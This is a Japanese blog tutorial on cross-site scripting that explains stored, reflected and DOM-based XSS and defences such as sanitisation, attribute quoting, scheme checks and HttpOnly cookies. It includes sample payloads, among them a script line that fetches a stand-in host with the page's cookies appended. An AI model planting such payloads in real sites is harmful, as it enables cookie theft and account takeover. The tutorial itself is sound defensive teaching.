🛡️

XSSを理解して安全なWebアプリケーションを作る

2022/11/14に公開

どうもoreoです。今回はXSSについて記載します。

1 XSS(cross site scripting)とは?

XSSとは動的にHTMLを生成するWebサイトで悪意あるスクリプトが埋め込まれたコンテンツをHTMLとしてそのまま表示した際に、スクリプトが実行される攻撃手法(または脆弱性)です。

XSSの脆弱性があると偽サイトへの誘導、フィッシング、Cookie情報漏洩などの脅威があります。

XSSには主に下記3つの攻撃手法があります。

1-1 Persistent XSS(持続型XSS)

Stored XSS(格納型XSS)とも言われます。悪意あるスクリプトが格納されたWebサイトを閲覧した際に、ユーザーのブラウザ上で不正なスクリプトが実行される攻撃手法です。

例えば、掲示板のようなユーザー投稿機能があるWebサイトを考えます。攻撃者が悪意あるスクリプトを含むコメントを投稿し、そのデータがWebサーバーに格納されます。ユーザーが掲示板を開いた際に、ユーザーのブラウザ上でスクリプトが実行されてしまいます。

以下のようなスクリプトがWebサーバーに格納されている場合、Webサイトを開いた瞬間にalertが発火します。

<body>
    <p>今日の気分は<script>alert("ぐえ〜〜!");</script>だよ</p>
</body>

また以下のような場合は、Cookie情報が抜き取られます(後述するHttpOnly属性がない場合)。

<body>
    <p>今日の気分は<script>fetch('https://hogehoge.com/?cookie_data='+document.cookies);</script>だよ</p>
</body>

1-2 Reflected XSS(反射型XSS)

ユーザーが悪意あるスクリプトが含まれたリンクをクリックした際、レスポンスとして危険なコンテンツを受け取らせ、不正なスクリプトを実行させる攻撃手法です。

例えば、以下のように悪意あるコードをクエリパラメータとしてURLに埋め込み、脆弱性のあるサイトに誘導して攻撃を行います。

http://hogehoge.com/?maliciousness=<script>/*悪意あるスクリプト*/</script>

1-3 DOM-based XSS(DOMベース型XSS)

ブラウザ上で動的にHTMLを生成する際に、悪意あるスクリプトが注入/実行される攻撃手法です。Persistent XSS、Reflected XSSはサーバー上で悪意あるスクリプトを含むHTMLが生成される一方で、DOM-based XSSはブラウザ上でHTMLが生成され攻撃されます。

例えば、プレーンなHTMLを動的に注入することができるVue.jsのv-htmlなどでは、悪意あるスクリプトが注入され攻撃される可能性があります。

https://ja.vuejs.org/api/built-in-directives.html#v-html

2 対策

XSSの対策として主に下記のような方法があります。

2-1 サニタイズ処理(エスケープ処理)

HTMLや属性値などを出力する際、サニタイズ処理をすることで特別な意味を持つメタ文字を無効化し XSSを防ぐことができます。サニタイズ処理をすることで、例えば<&lt;>&gt;のようにタグを無害な文字列に置き換えることができます。

サニタイズ処理は、DOMPurifyなどのライブラリやSanitizer API(※)で実施することができます。

https://github.com/cure53/DOMPurify

https://developer.mozilla.org/en-US/docs/Web/API/HTML_Sanitizer_API

※2022/11/11時点で、Sanitizer APIは各ブラウザで全ての機能が使えない模様。

https://caniuse.com/?search=Sanitizer A

2-2 属性値は引用符で囲む

属性値を引用布で囲んでいない場合、以下の例で$data="hoge onclick=alert('ぐえ〜〜!')"などのように、悪意あるコードが埋め込まれる可能性があります。

<input type="button" value=$data>

これを防ぐために、属性値は必ず引用符で囲みます。

<input type="button" value="$data">

2-3 入力値のバリデーション

アプリケーションの仕様上、入力値が限定できる場合は、仕様に沿った入力であるかチェックを行うこともXSSのリスクを軽減できます。

2-4 URLのスキームチェック

外部入力に依存する形でURLを動的に生成する場合、例えば以下のようにjavascriptスキームが埋め込まれXSSが発生する可能性があります。

<body>
    <p><a href="javascript:alert('ぐえ〜〜!')">aaa</a></p>
</body>

URL生成前にスキーマがhttpまたはhttpsのみを受け付けるようにチェックすることで、この危険性を防ぐことができます。

2-5 CookieにHttpOnly属性を加える

HTTPレスポンスヘッダーのSet-CookieフィールドにHttpOnly属性を加えると、JavaScript がDocument.cookieなどでCookieへのアクセスを禁止することができ、Cookie情報漏洩のリスクが軽減できます。

https://developer.mozilla.org/ja/docs/Web/HTTP/Headers/Set-Cookie

3 VueやReactでのXSS対策は?

VueではHTMLコンテンツの出力、動的な属性バインディングの際に自動的にサニタイズ処理を行なってくれています。

https://ja.vuejs.org/guide/best-practices/security.html#vue-があなたを守るためにしていること

v-htmlなどでは注意が必要(1-3参照)

Reactでも同様に基本的に自動的にサニタイズ処理を行なってくれる模様です。

https://ja.reactjs.org/docs/introducing-jsx.html#jsx-prevents-injection-attacks

ここれへんを自動的にしてくれるのはフレームワークのいいところですね。

4 最後に

普段VueやReactを使っているとそこまでXSSを意識する必要がありませんが、エンジニアとして押さえておきたい部分ですね。

5 参考

https://www.ipa.go.jp/security/vuln/websecurity.html

https://medium.com/sessionstack-blog/how-javascript-works-5-types-of-xss-attacks-tips-on-preventing-them-e6e28327748a

https://www.tohoho-web.com/ex/xss.html

https://gihyo.jp/dev/serial/01/javascript-security/0002

Discussion